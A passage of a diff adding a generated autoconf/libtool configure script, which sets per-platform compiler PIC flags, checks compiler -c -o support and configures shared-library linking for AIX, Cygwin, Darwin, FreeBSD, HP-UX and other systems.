xlc*) + lt_prog_compiler_pic='-qnocommon' + lt_prog_compiler_wl='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static='-non_shared' + ;; + + newsos6) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-static' + ;; + ccc*) + lt_prog_compiler_wl='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + + sco3.2v5*) + lt_prog_compiler_pic='-Kpic' + lt_prog_compiler_static='-dn' + ;; + + solaris*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sunos4*) + lt_prog_compiler_wl='-Qoption ld ' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic='-Kconform_pic' + lt_prog_compiler_static='-Bstatic' + fi + ;; + + uts4*) + lt_prog_compiler_pic='-pic' + lt_prog_compiler_static='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic" >&6 + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic"; then + +echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic works... $ECHO_C" >&6 +if test "${lt_prog_compiler_pic_works+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic -DPIC" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:6671: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:6675: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works=yes + fi + fi + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works" >&6 + +if test x"$lt_prog_compiler_pic_works" = xyes; then + case $lt_prog_compiler_pic in + "" | " "*) ;; + *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;; + esac +else + lt_prog_compiler_pic= + lt_prog_compiler_can_build_shared=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic= + ;; + *) + lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC" + ;; +esac + +echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6 +if test "${lt_cv_prog_compiler_c_o+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:6731: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:6735: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o" >&6 + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6 + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6 + + runpath_var= + allow_undefined_flag= + enable_shared_with_static_runtimes=no + archive_cmds= + archive_expsym_cmds= + old_archive_From_new_cmds= + old_archive_from_expsyms_cmds= + export_dynamic_flag_spec= + whole_archive_flag_spec= + thread_safe_flag_spec= + hardcode_libdir_flag_spec= + hardcode_libdir_flag_spec_ld= + hardcode_libdir_separator= + hardcode_direct=no + hardcode_minus_L=no + hardcode_shlibpath_var=unsupported + link_all_deplibs=unknown + hardcode_automatic=no + module_cmds= + module_expsym_cmds= + always_export_symbols=no + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs=no + cat <<EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + + # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + ld_shlibs=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag=unsupported + # Joseph Beckenbach <jrb3@best.com> says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec='-L$libdir' + allow_undefined_flag=unsupported + always_export_symbols=no + enable_shared_with_static_runtimes=yes + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs=no + cat <<EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + + sunos4*) + archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_cmds="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + archive_expsym_cmds='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + archive_expsym_cmds="$tmp_archive_cmds" + fi + else + ld_shlibs=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + esac + + if test "$ld_shlibs" = yes; then + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag=unsupported + always_export_symbols=yes + archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds='' + hardcode_direct=yes + hardcode_libdir_separator=':' + link_all_deplibs=yes + + if test "$GCC" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct=yes + else + # We have old collect2 + hardcode_direct=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L=yes + hardcode_libdir_flag_spec='-L$libdir' + hardcode_libdir_separator= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag="-z nodefs" + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag=' ${wl}-bernotok' + allow_undefined_flag=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec=' ' + archive_cmds_need_lc=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + # see comment about different semantics on the GNU ld section + ld_shlibs=no + ;; + + bsdi[45]*) + export_dynamic_flag_spec=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec=' ' + allow_undefined_flag=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_From_new_cmds='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + enable_shared_with_static_runtimes=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc=no + hardcode_direct=no + hardcode_automatic=yes + hardcode_shlibpath_var=unsupported + whole_archive_flag_spec='' + link_all_deplibs=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs=no + ;; + esac + fi + ;; + + dgux*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + freebsd1*) + ld_shlibs=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + 